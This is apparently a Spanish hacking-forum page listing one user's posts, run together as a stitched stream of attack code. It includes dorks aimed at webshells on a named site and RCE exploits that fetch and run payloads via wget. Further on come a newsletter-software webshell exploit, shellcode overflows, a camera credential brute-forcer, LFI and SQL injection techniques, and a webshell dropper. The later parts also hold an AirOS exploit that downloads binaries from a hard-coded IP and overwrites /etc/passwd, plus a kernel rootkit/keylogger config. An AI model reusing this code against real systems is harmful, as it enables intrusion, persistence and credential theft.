Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
inurl:/cp.php?m=logininurl:/adm.php?m=loginintext:"Remember (MD5 cookies)" ext:php
<?xpacket ?>
#include <stdio.h>
int main(int argc, char **argv){
int fuckme=66;
char buffer[100];
gets(buffer);
if(fuckme==0x10245644){
printf("You fucked me!");
}
return 0;
}
# -*- coding : utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate
class module(config):
def __init__(self):
self.config=config()
self.cur = self.config.getCursor()
self.con = self.config.getCon()
self.targets=[]
self.preExecution()
def preExecution(self):
while 1:
################Aca se definen las opciones y se cargan los argumentos################
def exploit(self):
if len(self.targets)>0:
for target in self.targets:
print "Attack "+target[1]
################Aca va el exploit################
else:
print "No hay targets"
################Aca va el metodo que contiene el exploit################
def test(self):
print "Attack Test"
########################################################################
##########Se inicia el modulo###########
start=module()
########################################
#!/usr/bin/python
import urllib2
import sys
def rce(target):
while 1:
command=raw_input("$> ")
w=urllib2.urlopen(target+"www.google.com|"+command)
print w.read()
rce(sys.argv[1])
def rce(self, target):
command="wget%20http://"+self.config.getUrlInjector()+"%20-O%20"+self.config.getInjectorName()+"%3Bchmod%20755%20"+self.config.getInjectorName()+"%3Bpython%20"+self.config.getInjectorName()
urllib2.urlopen(target+"www.google.com%7C"+command)
command="wget http://"+self.config.getUrlInjector()+" -O "+self.config.getInjectorName()+";chmod 755 "+self.config.getInjectorName()+";python "+self.config.getInjectorName() 
# -*- coding : utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate
import urllib2
class module(config):
def __init__(self):
self.config=config()
self.cur = self.config.getCursor()
self.con = self.config.getCon()
self.targets=[]
self.preExecution()
def preExecution(self):
while 1:
################Aca se definen las opciones y se cargan los argumentos################
opcion=raw_input("> ")
if opcion=="help":
print("set target <TARGET> -> Setea el target manualmente")
print("exit -> Cierra el modulo")
print("show targets -> Muestra los targets seteados")
print("clear targets -> Elimina los targets")
print("exploit -> Inicia el modulo de ataque")
elif opcion.find("set target")!=-1:
target=opcion.split(' ')[2]
self.targets.append((0, target, "Modulo para explotar un RCE", "RCE"))
elif opcion=="exit":
exit(0)
elif opcion=="show targets":
if len(self.targets)>0:
print tabulate(self.targets, ["ID", "TARGET", "DESCRIPCION", "MODULO"], tablefmt="grid")
else:
print "No hay targets seteados"
elif opcion=="clear targets":
self.targets=[]
elif opcion=="exploit":
self.exploit()
def exploit(self):
if len(self.targets)>0:
for target in self.targets:
print "Attack "+target[1]
################Aca va el exploit################
self.rce(target[1])
else:
print "No hay targets"
################Aca va el metodo que contiene el exploit################
def rce(self, target):
command="wget%20http://"+self.config.getUrlInjector()+"%20-O%20"+self.config.getInjectorName()+"%3Bchmod%20755%20"+self.config.getInjectorName()+"%3Bpython%20"+self.config.getInjectorName()
urllib2.urlopen(target+"www.google.com%7C"+command)
########################################################################
##########Se inicia el modulo###########
start=module()
########################################
# -*- coding: utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate
class module(config):
####Init configuration####
def __init__(self):
self.config = config()
self.cur = self.config.getCursor()
self.con = self.config.getCon()
self.targets=[]
self.preExecution()
##########################
####User define information####
def preExecution(self):
while(True):
option = raw_input("> ")
if(option=="exit"):
exit(0)
if(option=="help"):
print("set target URL:PORT --> Manual Target")
print("clear targets --> Show Targets in module")
print("show targets --> Clear Targets in module")
print("use shodan --> Targets from Shodan Results")
print("exploit --> Start atack")
print("exit --> Close Module")
if(option.find("set target")>-1):
data = option.split(" ")
data = data[2].split(":");
target = data[0]
port = data[1]
self.targets.append((0,target,port,"Manual","null"))
if(option.find("use shodan")>-1):
self.targets=self.config.getTargets();
if(option=="clear targets"):
self.targets=[]
print("Clear Done")
if(option=="show targets"):
if(len(self.targets)!=0):
print tabulate(self.targets, ["id", "IP", "PORT", "Description", "Vulnerable Module"], tablefmt="grid")
else:
print "No targets"
if(option=="exploit"):
self.exploit()
###################################
###Exploit c0de###
def exploit(self):
if(len(self.targets)!=0):
for target in self.targets:
###YOUR EXPLOIT CODE HERE###
print "Atack "+target[1]+":"+target[2]
else:
print "No targets found";
####def custom user functions (calleable from exploit())####
def testFunctions(self):
print "Atack test"
#############################################################
#####Init Module#####
start = module()
#####################
site:klsicci.com.my ext:txt
cache:http://klsicci.com.my/admintest1/config/klsiccic4.txt
site:klsicci.com.my && inurl:shell
site:klsicci.com.my && intitle:"=[ 1n73ct10n privat shell ]="
#!/usr/bin/env python
# Description: Opennewsletter remote code execution exploit
# Version tested: 2.5.1
# Author: q3rv0
import urllib2
import urllib
import re
class opennews_exploit:
def __init__(self, host):
self.host=host
cookies=urllib2.HTTPCookieProcessor()
opener=urllib2.build_opener(cookies)
urllib2.install_opener(opener)
def postSend(self, parametros, path):
self.headers={"User-Agent":"Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0"}
self.parametros=urllib.urlencode(parametros)
self.path=path
self.post=urllib2.Request(self.host+self.path, self.parametros, headers=self.headers)
return urllib2.urlopen(self.post)
def getOldDbFile(self):
self.get=urllib2.urlopen(self.host+"settings.php").read()
self.name=re.findall("name=old_db_file value=([\w\.\-_]+)>", self.get)
return self.name[0]
def verifyShell(self, path):
try:
self.path=path
self.code=urllib2.urlopen(self.host+self.path)
return self.code.getcode()
except:
pass
target="http://pwnedhost.com/opennews/"
shell="shell.php"
user="admin"
passwd="admin"
admin_name="Your Name"
admin_email="[email protected]"
charset="UTF-8"
site_url="http://www.yourwebsite.com"
opennews_directory="/"
payload="<?php echo `$_POST[exec]`; ?>"
rce=opennews_exploit(target)
def get_shell(shell):
print "[*] Obteniendo la shell :)\n"
while True:
command=raw_input("$~: ")
print "\n"+rce.postSend({"exec":command}, shell).read()
if rce.verifyShell(shell)==200:
get_shell(shell)
else:
print "\n[*] Logueando...\n"
rce.postSend({"username":user, "password":passwd}, "index.php?action=login")
print "[*] Insertando el payload...\n"
rce.postSend({"email":payload}, "subscribers.php?action=add")
print "[*] Renombrando la shell...\n"
rce.postSend({"admin_username":user, "admin_password":passwd, "admin_name":admin_name, "admin_email":admin_email, "charset":charset, "site_url":site_url, "opennewsletter_dir":opennews_directory, "old_db_file":rce.getOldDbFile(), "db_file":shell, "action":"update"}, "settings.php")
get_shell(shell)
#include <stdio.h>
#include <string.h>
void funcion_vulnerable(char* input)
{
char buffer[1000];
strcpy(buffer, input);
}
int main(int argc, char** argv)
{
funcion_vulnerable(argv[1]);
return 0;
}
cat /proc/sys/kernel/randomize_va_space
2
echo 2 > /proc/sys/kernel/randomize_va_space
gcc -o vuln -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb -z execstack vuln.cr $(python -c 'print "\x41"*1004+"\x42"*4')
objdump -d vuln|grep call
x/100x $eax
msf > msfpayload linux/x86/exec CMD=/bin/bash C
msf > msfpayload linux/x86/exec CMD=/bin/bash R|msfencode -a x86 -e x86/alpha_mixed -b 'x\00\x0d\x0a' -t c
echo 0 > /proc/sys/kernel/randomize_va_spacegcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o vuln vuln.crun $(python -c 'print "\x41"*506')
run $(python -c 'print "\x41"*508')
x/100x $esp
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80run $(python -c 'print "\x90"*481+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x42"*4')x/100x $esp
run $(python -c 'print "\x90"*481+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x70\xfc\xff\xbf"')
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char buffer[10];
strcpy(buffer, argv[1]);
printf(buffer);
return 0;
}echo 0 > /proc/sys/kernel/randomize_va_spacegcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o prog prog.c
gdb progrun AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAinfo registers
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void owned(){
printf("Owned :)");
}
int main(int argc, char *argv[]) {
char buffer[10];
strcpy(buffer, argv[1]);
printf(buffer);
return 0;
}
disas owned
#tnet:35:once:/usr/sbin/telnetd
quote site reboot
description = [[
Script que se encarga de buscar camaras AXIS que contengan credenciales debiles
o sin autentificacion HTTP digest.
]]
author = "[Q]3rV[0]"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"brute", "auth"}
---
--
-- @usage nmap --script=axis_search -vv -T4 -Pn -n xx.xx.xxx.x -p80,21
-- @output
--PORT STATE SERVICE
--21/tcp open ftp
--80/tcp open http
--Host script results:
--| axis:
--| Host = xxx.x.xxx.3
--| Version = AXIS M7010 Video Encoder 5.40.6.1 (2011) ready.
--|_ Auth = root:root
--
---
local http = require "http"
local ftp = require "ftp"
local nmap = require "nmap"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
hostrule=function(host)
local http_port, ftp_port
http_port=nmap.get_port_state(host, {number=80, protocol="tcp"})
if not http_port and not (http_port.state=="open" or http_port.state=="open|filtered") then
return false
end
ftp_port=nmap.get_port_state(host, {number=21, protocol="tcp"})
if not ftp_port and not (ftp_port.state=="open" or ftp_port.state=="open|filtered") then
return false
end
return true
end
local out={}
local dic={'root', 123456, 1234}
local function data_out(out, message_banner, auth, host)
table.insert(out, string.format("Host = %s", host.ip))
table.insert(out, string.format("Version = %s", message_banner))
table.insert(out, string.format("Auth = %s", auth))
return stdnse.format_output(true, out)
end
local function http_auth(host)
local response=http.get(host, 80, '/view/viewer_index.shtml')
return response
end
action=function(host)
local socket=nmap.new_socket()
socket:connect(host, 21)
local buffer=stdnse.make_buffer(socket, "\r?\n")
local code, message_banner=ftp.read_reply(buffer)
if string.match(message_banner, "AXIS") then
local response=http_auth(host)
if response.status==401 or response.status==404 or response.status==403 then
for n,pass in ipairs(dic) do
socket:send("USER root\r\n")
local code, message=ftp.read_reply(buffer)
if code==331 then
socket:send("PASS "..pass.."\r\n")
end
local code, message=ftp.read_reply(buffer)
if message == "User logged in, proceed." then
return data_out(out, message_banner, 'root:'..pass, host)
end
end
else
return data_out(out, message_banner, 'HTTP Blank Auth :)', host)
end
return data_out(out, message_banner, 'Failed Auth :(', host)
end
end
#Autor: [Q]3rV[0]
require 'net/http'
require 'uri'
def conn(vector)
host=URI.parse(vector)
return Net::HTTP.get(host)
end
def compr(data, vector)
if data =~ /root:/
puts "Parametro vulnerable a LFI -> #{vector}\n"
else
puts "Not Found -> #{vector}\n"
end
end
def lfi(web, pb, file)
a=0
while a<pb
a=a+1
traversal="../"*a+file
vector=web+traversal
data=conn(vector)
compr(data, vector)
end
end
lfi(ARGV[0], ARGV[1].to_i, "etc/passwd")
lfi(ARGV[0], ARGV[1].to_i, "etc/passwd%00")
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
endrequire 'msf/core'
class Metasploit4 < Msf::Auxiliary
def initialize
super()
register_options()
end
endrequire 'msf/core'
class Metasploit4 < Msf::Auxiliary
def initialize
super(
'Name' => 'LFI scanner',
'Version' => '1.0',
'Description' => 'Scanner para realizar inyecciones LFI',
'Author' => '[Q]3rV[0]',
'License'=> MSF_LICENSE
)
register_options()
end
end
register_options([],self.class)OptInt.new() # Para valores enteros
OptString.new() # Para cadenas
OptAddress.new() # Para direccionesrequire 'msf/core'
class Metasploit4 < Msf::Auxiliary
def initialize
super(
'Name' => 'LFI scanner',
'Version' => '1.0',
'Description' => 'Scanner para realizar inyecciones LFI',
'Author' => '[Q]3rV[0]',
'License'=> MSF_LICENSE
)
register_options([OptString.new('RHOST',[true, 'Indique el target']),
OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)
end
end
OptString.new('RHOST',[true, 'Indique el target'])require 'msf/core'
require 'net/http'
require 'uri'
class Metasploit4 < Msf::Auxiliary
def initialize
super(
'Name' => 'LFI scanner',
'Version' => '1.0',
'Description' => 'Scanner para realizar inyecciones LFI',
'Author' => '[Q]3rV[0]',
'License'=> MSF_LICENSE
)
register_options([OptString.new('RHOST',[true, 'Indique el target']),
OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)
end
def run()
def conn(vector)
host=URI.parse(vector)
return Net::HTTP.get(host)
end
def compr(data, vector)
if data =~ /root:/
puts "Parametro vulnerable a LFI -> #{vector}\n"
else
puts "Not Found -> #{vector}\n"
end
end
def lfi(web, pb, file)
a=0
while a<pb
a=a+1
traversal="../"*a+file
vector=web+traversal
data=conn(vector)
compr(data, vector)
end
end
lfi(ARGV[0], ARGV[1].to_i, "etc/passwd")
lfi(ARGV[0], ARGV[1].to_i, "etc/passwd%00")
end
endrequire 'msf/core'
require 'net/http'
require 'uri'
class Metasploit4 < Msf::Auxiliary
def initialize
super(
'Name' => 'LFI scanner',
'Version' => '1.0',
'Description' => 'Scanner para realizar inyecciones LFI',
'Author' => '[Q]3rV[0]',
'License'=> MSF_LICENSE
)
register_options([OptString.new('RHOST',[true, 'Indique el target']),
OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)
end
def run()
def conn(vector)
host=URI.parse(vector)
return Net::HTTP.get(host)
end
def compr(data, vector)
if data =~ /root:/
puts "Parametro vulnerable a LFI -> #{vector}\n"
else
puts "Not Found -> #{vector}\n"
end
end
def lfi(web, pb, file)
a=0
while a<pb
a=a+1
traversal="../"*a+file
vector=web+traversal
data=conn(vector)
compr(data, vector)
end
end
lfi(datastore['RHOST'], datastore['TRAVERSAL'], "etc/passwd")
lfi(datastore['RHOST'], datastore['TRAVERSAL'], "etc/passwd%00")
end
end
name()
startDirection() #Opcional
color()
commands()
target_spotted(direction)def name():
return "[Q]3rV[0]"
def color():
return (0,0,0)
def startDirection():
return 90
gamefile.robotHealth() #Retorna el valor de la salud del robot entre 1-82
gamefile.move(frames) #Se movera determinada cantidad de cuadros
gamefile.stop(frames) #Se parara cada tantos frames
gamefile.fire() #Para realizar disparos
gamefile.turn_left(grados) #Para girar tantos grados a la izquierda
gamefile.turn_right(grados) #Para girar tantos grados a la derecha
gamefile.done() #Este metodo es necesario ya que indica el final de bucle para que las demas acciones puedan seguir repitiendose.
gamefile.spinradar(direction) #Seteamos la direccion en la que girara el radar "RIGHT" o "LEFT"
gamefile.lockradar(TEXT) #Podemos especificar 3 opciones ("GUN" "FREE" "BASE")def target_spotted(direction):
gamefile.pointgun(direction)import gamefile
def name():
return "[Q]3rV[0]"
def colour():
return (0, 0, 0)
def commands():
gamefile.spinradar("FREE")
gamefile.lockradar("FREE")
gamefile.move(200)
gamefile.fire()
gamefile.turn_left(100)
gamefile.fire()
gamefile.move(300)
gamefile.fire()
gamefile.turn_left(100)
gamefile.fire()
gamefile.done()
if gamefile.robotHealth() < 41:
gamefile.move(200)
gamefile.fire()
gamefile.turn_right(100)
gamefile.fire()
gamefile.move(300)
gamefile.fire()
gamefile.turn_right(100)
gamefile.fire()
gamefile.done()
def target_spotted(direction):
gamefile.pointgun((direction)*1.4)
gamefile.fire()
gamefile.fire()
gamefile.fire()
<b>q3rv0</b>mysql> select extractvalue('<b>q3rv0</b>', '/b');
+------------------------------------+
| extractvalue('<b>q3rv0</b>', '/b') |
+------------------------------------+
| q3rv0 |
+------------------------------------+
1 row in set (0.00 sec)
mysql>
mysql> select extractvalue('<b>q3rv0</b>', user());
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql> select extractvalue('<b>q3rv0</b>', concat(0x7e, user()));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>updatexml('cadena', 'xpath_expr', 'cadena actualizada')mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>');
+--------------------------------------------------------------------------------------------------------------+
| updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>') |
+--------------------------------------------------------------------------------------------------------------+
| <b>jlkjslakjslka</b><h1>Underc0de Rulz</h1><i>kjaslkjalskjlaksj</i> |
+--------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
mysql>
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',user(), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql> mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',concat(0x7e, user()), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
mysql> 
$query=mysqli_query($conexion, "SELECT path FROM archivos WHERE id=".$_GET['id'].";");
$fichero=mysqli_fetch_array($query, MYSQLI_ASSOC);
include($fichero['path']);
<?php
include("conex.php");
$id=$_GET['id'];
$consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
$consulta="SELECT username FROM users WHERE id=".$id.";";
$query=mysql_query($consulta, $conexion);
$query2=mysql_query($consulta2, $conexion);
$dumpeo2=mysql_fetch_array($query2);
$dumpeo=mysql_fetch_array($query);
if (isset($_GET['id'])) {
if (!$dumpeo) {
echo mysql_error();
}
elseif (!$dumpeo2) {
echo mysql_error();
}
else {
echo "<b>Nick: ".$dumpeo['username']."</b><p>";
echo "<b>Blog: ".$dumpeo2['blog']."</b><p>";
}
}
?>
$consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
$consulta="SELECT username FROM users WHERE id=".$id.";";http://localhost/mysqli-lab/2.php?id=1 union select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--
mysql> select username,(select blog from blogs limit 0,1)blog from users limit 0,1;
+----------+-------------------------+
| username | blog |
+----------+-------------------------+
| q3rv0 | http://underterminal.tk |
+----------+-------------------------+
1 row in set (0.00 sec)
select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--select count(*) from information_schema.tables group by concat(user(),floor(rand()*2)) limit 0,1;mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
| 0 |
+-----------------+
1 row in set (0.00 sec)mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
| 0 |
+-----------------+
1 row in set (0.00 sec)mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
| 0 |
+-----------------+
1 row in set (0.00 sec)
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
| 1 |
+-----------------+
1 row in set (0.00 sec)
mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
| 1 |
+-----------------+
1 row in set (0.00 sec)mysql> select rand();
+--------------------+
| rand() |
+--------------------+
| 0.8679424085355759 |
+--------------------+
1 row in set (0.00 sec)mysql> select rand()*2;
+-------------------+
| rand()*2 |
+-------------------+
| 0.947171253102991 |
+-------------------+
1 row in set (0.00 sec)
mysql> select rand()*2;
+--------------------+
| rand()*2 |
+--------------------+
| 1.5282018757687899 |
+--------------------+
1 row in set (0.00 sec)
mysql> select floor(1.5282018757687899);
+---------------------------+
| floor(1.5282018757687899) |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)mysql> select floor(0.947171253102991);
+--------------------------+
| floor(0.947171253102991) |
+--------------------------+
| 0 |
+--------------------------+
1 row in set (0.00 sec)mysql> select concat(version(),floor(rand()*2))x;
+-----------+
| x |
+-----------+
| 5.5.28-11 |
+-----------+
1 row in set (0.00 sec)mysql> select concat(version(),floor(rand()*2))x;
+-----------+
| x |
+-----------+
| 5.5.28-10 |
+-----------+
1 row in set (0.00 sec)
mysql> select count(*) from information_schema.tables group by concat(user(),floor(rand()*2));
ERROR 1062 (23000): Duplicate entry 'root@localhost0' for key 'group_key'
mysql> select count(*) from information_schema.tables group by floor(rand()*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'mysql> select count(*),concat(user(),floor(rand()*2))z from information_schema.tables group by z;
+----------+-----------------+
| count(*) | z |
+----------+-----------------+
| 123 | root@localhost0 | -> floor(rand()*2)=0
| 75 | root@localhost1 | -> floor(rand()*2)=1
+----------+-----------------+
2 rows in set (0.00 sec)
# * Basic Settings
#
user = root
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
language = /usr/share/mysql/englishwget https://github.com/mysqludf/lib_mysqludf_sys/raw/master/lib_mysqludf_sys.somysql -u "user" -p"password" databaseCREATE TABLE code (codigo blob);INSERT INTO code VALUES(load_file('/tmp/lib_mysqludf_sys.so'));SELECT * FROM code INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';select sys_eval('id');
+-----------------------------------------+
| sys_eval('id') |
+-----------------------------------------+
| uid=0(root) gid=0(root) groups=0(root)
|
+-----------------------------------------+
#!/usr/bin/env python
# Door-Injected
# Developed by [Q]3rV[0]
import httplib, sys, os, time, urllib2, urllib, random
banner="""
________ .___ __ __ .___
\______ \ ____ ___________ | | ____ |__| ____ _____/ |_ ____ __| _/
| | \ / _ \ / _ \_ __ \ ______ | |/ \ | |/ __ \_/ ___\ __\/ __ \ / __ |
| ` ( <_> | <_> ) | \/ /_____/ | | | \ | \ ___/\ \___| | \ ___// /_/ |
/_______ /\____/ \____/|__| |___|___| /\__| |\___ >\___ >__| \___ >____ |
\/ \/\______| \/ \/ \/ \/
- Door-Injected V1.0 Beta
- Autor:[Q]3rV[0]
- Mail:a.denegado[0x40]gmail[0x2e]com
- Blog:http://underterminal.nixiweb.com
- Saludos: Underc0de TEAM """
if sys.platform=="linux" or sys.platform=="linux2":
os.system('clear')
else:
os.system('cls')
if len(sys.argv)!=3:
print banner
print "\n[*] Modo de uso: "+sys.argv[0]+" <host> <fichero>"
sys.exit(1)
def connect(host):
return httplib.HTTPConnection(host)
def inyect(host, name):
fichero=open(sys.argv[2], "r")
for ruta in fichero:
ruta=ruta.replace("\n", "")
connect(host).request("GET", "/"+path+"%20"+vector+"%20into%20outfile%20%27"+directorio+ruta+name+"%27--")
def buscar(host, name):
fichero=open(sys.argv[2], "r")
for ruta in fichero:
ruta=ruta.replace("\n", "")
search=connect(host)
search.request("GET", ruta+name)
respuesta=search.getresponse()
if respuesta.status==200:
print "\n[*] Door-Injected in ------> http://"+host+ruta+name
else:
print "\n[X] "+ruta+" ------> Imposible escribir!"
def command(shell):
agent={"User-Agent": "Door-Injected"}
metodo=raw_input("\n[*] Metodo [get/post]:")
parametro=raw_input("\n[*] Ingrese el parametro:")
if metodo=="get":
while 1:
command=raw_input("\n[*] Door@Injected-$ ")
data=urllib.urlencode({parametro: command})
cabeceras=urllib2.Request(shell+"?"+data, headers=agent)
print urllib2.urlopen(cabeceras).read()
elif metodo=="post":
while 1:
command=raw_input("\n[*] Door@Injected-$ ")
cabeceras=urllib2.Request(shell, data, headers=agent)
print urllib2.urlopen(cabeceras).read()
else:
print "[ABORT]"
sys.exit(1)
try:
print banner
target=sys.argv[1]
path=target.replace("http://", "").split('/',1)[1]
host=target.replace("http://", "").split('/')[0]
directorio=raw_input("\n[*] Path Web: ")
vector=raw_input("\n[*] /"+path+" ")
vector=vector.replace(" ", "%20")
name="DoorI"+str(random.randint(1,1000))+".php"
print "\n[*] Inyectando en paths..."
time.sleep(2)
inyect(host, name)
print "\n[*] Comprobando shell dump..."
time.sleep(2)
print "\n+-------------------------------------------------------------------------------------+"
buscar(host, name)
print "\n+-------------------------------------------------------------------------------------+"
opcion=raw_input("\n[*] Desea ejecutar la shell ahora? [y/n]:")
if opcion=="y":
shell=raw_input("\n[*] Ingrese la ruta de la shell:")
command(shell)
elif opcion=="n":
sys.exit(1)
else:
print "[ABORT]"
sys.exit(1)
except(KeyboardInterrupt,SystemExit):
pass
<?php
error_reporting(E_ALL);
if (isset($_GET['hk']) and !empty($_GET['hk']))
{
$nuevo=new COM('WScript.Shell') or die('Unable to Load Activex'); //se crea el objeto WScript.Shell
$salida=$nuevo->exec($_GET['hk']); //variable de entrada para ejecucion de comandos a travez de WScript mediante exec()
echo "<pre>";
echo $salida->stdout->readall; // obtencion de datos mediante stdout->readall
echo "</pre>";
}
?>
mysql> select if(1=1, 'Verdadero es igual!', 'Falso no es igual!');
+------------------------------------------------------+
| if(1=1, 'Verdadero es igual!', 'Falso no es igual!') |
+------------------------------------------------------+
| Verdadero es igual! |
+------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select if(1='q3rv0', 'Verdadero es igual!', sleep(3));
+------------------------------------------------+
| if(1='q3rv0', 'Verdadero es igual!', sleep(3)) |
+------------------------------------------------+
| 0 |
+------------------------------------------------+
1 row in set, 1 warning (3.00 sec)
http://vuln-bsqli-based-time/?devil=5 or 1=if(1=1,sleep(5),0)-- > 5 segundos(TRUE)
http://vuln-bsqli-based-time/?devil=5 or 1=if(1=9999,sleep(5),0)-- > FALSEhttp://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15-- TRUE
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50-- TRUE
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100-- FALSE
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68-- FALSE
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67-- TRUE
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15,sleep(5),0)-- TRUE 5 segundos
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50,sleep(5),0)-- TRUE 5 segundos
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100,sleep(5),0)-- FALSE
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68,sleep(5),0)-- FALSE
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67,sleep(5),0)-- TRUE 5 segundos
runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!' -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }
./airosh IPairos
#!/bin/bash
host=$1
portlocal=$2
hostfinal=$3
portfinal=$4
unset c
usage() {
# ./airosh IP
exit 1
}
[[ -z "$host" ]] && c=1
[[ -z "$portlocal" ]] && c=2
[[ -z "$hostfinal" ]] && c=2
[[ -z "$portfinal" ]] && c=2
if [[ $c = 1 ]]; then
echo "FAILED!"
usage
else
echo "OK"
fi
runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!' -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }
runcmd 'cd /var/persistent;wget -q http://5.175.223.63/dropbearkey;wget -q http://5.175.223.63/dropbear;chmod +x dropbearkey dropbear;' >>/tmp/airos.log
runcmd "[[ -e /var/sshd/lol.rsa ]] || ./dropbearkey -t rsa -f /var/sshd/lol.rsa" >>/tmp/airos.log
runcmd "./dropbear -b /var/sshd/motd -r /var/sshd/lol.rsa;" >>/tmp/airos.log
runcmd 'sed -i -e "s/:[^:]*:/:$1$.et5JTtj$6U9j6CSf7g3lNfhFenOX11:/" /etc/passwd;cat /etc/passwd'
echo -en "| >>user: "
read usr
[[ -z "$usr" ]] && usr=admin
if [[ "$c" = 2 ]]; then
ssh -C "$usr@$host"
else
ssh -g -L "0.0.0.0:$portlocal:$hostfinal:$portfinal" "$usr@$host"
fi
</pre>wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
/*
Kernel Beast Ver #1.0 - Configuration File
Copyright Ph03n1X of IPSECS (c) 2011
Get more research of ours http://ipsecs.com
*/
/*Don't change this line*/
#define TRUE 1
#define FALSE 0
/*
Enable keylog probably makes the system unstable
But worth to be tried
*/
#define _KEYLOG_ TRUE
/*Define your module & network daemon name*/
#define KBEAST "kbeast"
/*
All files, dirs, process will be hidden
Protected from deletion & being killed
*/
#define _H4X0R_ "_h4x_"
/*
Directory where your rootkit will be saved
You have to use _H4X0R_ in your directory name
No slash (/) at the end
*/
#define _H4X_PATH_ "/usr/_h4x_"
/*
File to save key logged data
*/
#define _LOGFILE_ "acctlog"
/*
This port will be hidded from netstat
*/
#define _HIDE_PORT_ 13377
/*
Password for remote access
*/
#define _RPASSWORD_ "h4x3d"
#define _MAGIC_NAME_ "bin"
/*
Magic signal & pid for local escalation
*/
#define _MAGIC_SIG_ 37 //kill signal
